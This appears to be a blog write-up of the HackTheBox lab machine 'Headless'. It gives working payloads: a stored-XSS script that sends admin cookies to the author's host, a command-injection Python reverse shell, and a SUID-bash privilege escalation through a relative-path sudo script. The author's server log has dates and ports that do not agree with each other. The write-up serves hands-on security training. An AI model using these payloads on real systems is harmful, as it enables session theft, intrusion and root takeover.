Overview:
Headless is an easy Linux machine that combines several vulnerabilities to achieve initial access and privilege escalation.
Reconnaissance & Enumeration
I started with a full TCP port scan to identify the available services:
nmap -sCV -p- <IP> -oN nmap
The scan revealed two interesting ports:
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2
5000/tcp open upnp? Werkzeug/2.2.2 Python/3.11.2
Port 5000 immediately caught my attention because it is running a Python Werkzeug web server.
Navigating to:_http://10.10.11.8:5000
_
reveals a simple welcome page with a For questions button.
Clicking it redirects us to a customer support form.
Since the application allows us to send messages to staff members, I wanted to see if any of the input fields were vulnerable to XSS.
I first tried a basic payload:
<script>alert(1)</script>However, the application detected the payload and displayed a warning saying that a hacking attempt had been detected.
Looking at the page more carefully, I noticed something interesting: the submitted form contents were not displayed, but the HTTP request headers were.
This made me think about injecting JavaScript into one of the headers instead.
I intercepted the request using Burp Suite and modified the User-Agent header:
User-Agent: alert(1)
After forwarding the request, an alert appeared in the application.
This confirmed that the User-Agent header is vulnerable to stored XSS.
Stored XSS is particularly interesting here because the application tells us that administrators review the submitted reports.
That means we may be able to use a blind XSS payload to execute JavaScript in the administrator's browser and steal their session cookie.
I created a simple HTTP server on my machine to receive the callback:
python3 -m http.server 5000
Then I used the following payload in the User-Agent header:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0<script>var i=new Image();i.src="http://10.10.15.67:8000/?cookie="+btoa(document.cookie);</script>

The JavaScript creates an Image object and causes the victim's browser to make a request to our server.
After submitting the report and waiting for the administrator to review it, my server received callbacks:
┌──(kali㉿kali)-[~/HTB/Headless]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.15.67 - - [08/Aug/2026 12:43:06] "GET /?cookie= HTTP/1.1" 200 -
10.129.58.80 - - [08/Aug/2026 12:43:53] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
10.10.14.41 - - [14/Jul/2024 11:08:21] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
I decoded the cookie:
echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Now that we have an admin cookie, I wanted to find out where it could be used.
I fuzzed the website for hidden directories:
┌──(kali㉿kali)-[~/HTB/Headless]
└─$ ffuf -u http://10.129.58.80:5000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.58.80:5000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
# directory-list-lowercase-2.3-medium.txt [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 308ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
# [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 309ms]
# [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 310ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 311ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
# [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 314ms]
# Priority ordered case insensative list, where entries were found [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 316ms]
[Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
# [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 319ms]
# on atleast 2 different hosts [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 320ms]
# Copyright 2007 James Fisher [Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 291ms]
support [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 169ms]
dashboard [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 153ms]
[Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 160ms]
:: Progress: [207643/207643] :: Job [1/1] :: 108 req/sec :: Duration: [0:30:12] :: Errors: 0 ::
The interesting results included:
support
dashboard
The /dashboard endpoint was interesting because we previously didn't have access to it.
I replaced my normal cookie with the stolen administrator cookie in Firefox and refreshed the page.
This time, we successfully gained access to the administrator dashboard.
The dashboard contains a feature for generating a health report.
When clicking the button, the application sends a POST request containing a date parameter:
POST /dashboard HTTP/1.1
date=2023-09-15
This looked interesting because the server appeared to process the supplied date.
I tested whether the parameter was being passed to a system command by appending:
;id
So the request became:
date=2023-09-15;id
The response contained:
*uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
*
The id command executed successfully.
This confirms a command injection vulnerability.
Since arbitrary commands can be executed, we can use this to obtain a reverse shell.
I started a Netcat listener on my machine:
*nc -lnvp 4444
*
Then I injected a reverse shell through the date parameter:
date=2024-09-15;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ur_ip>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
After sending the request, the listener received a connection
We now have a shell as dvir.
The initial shell is not very stable, so I upgraded it
And we can find the user flag at:
/home/dvir/user.txt
Privilege Escalation
Now that we have the user shell, I started looking for ways to escalate to root.
the first thing i did was check the user's sudo permissions:
*sudo -l
*
and we got
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
So dvir can execute /usr/bin/syscheck as root without a password.
Analyzing syscheck
I inspected the script:
dvir@headless:/tmp$ cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
dvir@headless:/tmp$
The script first checks whether it is running as root:
if [ "$EUID" -ne 0 ]; then
exit 1
fi
It then performs several system checks.
The interesting part is at the end:
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
The important line is:
./initdb.sh
The script doesn't specify an absolute path such as:
/usr/local/bin/initdb.sh
Instead, it uses a relative path.
This means the shell looks for initdb.sh in the current working directory.
Since /tmp is writable by dvir, we can place our own initdb.sh there.
When syscheck is executed from /tmp with sudo, our malicious script will be executed with root privileges.
I created an initdb.sh script:
#!/bin/bash
cp /bin/bash /tmp/bash
chmod 4777 /tmp/bash
The script simply starts a Bash shell when executed.
Next, I gave it execute permissions:
chmod +x /tmp/initdb.sh
Now everything is ready

We can execute the vulnerable system-check script:
sudo /usr/bin/syscheck
The script performs its checks and eventually reaches:
Database service is not running. Starting it...
At that print, ./initdb.sh is executed.
Because we're currently in /tmp, it resolves to:
/tmp/initdb.sh
and we run /tmp/bash -p
and there u go we have root

The final flag is located at:
/root/root.txt
Machine Review:
Headless was a really nice Easy machine because every vulnerability naturally leads into the next stage.
Overall, Headless was a good machine for practicing web enumeration, XSS, command injection, sudo enumeration, and relative-path vulnerabilities.




Top comments (0)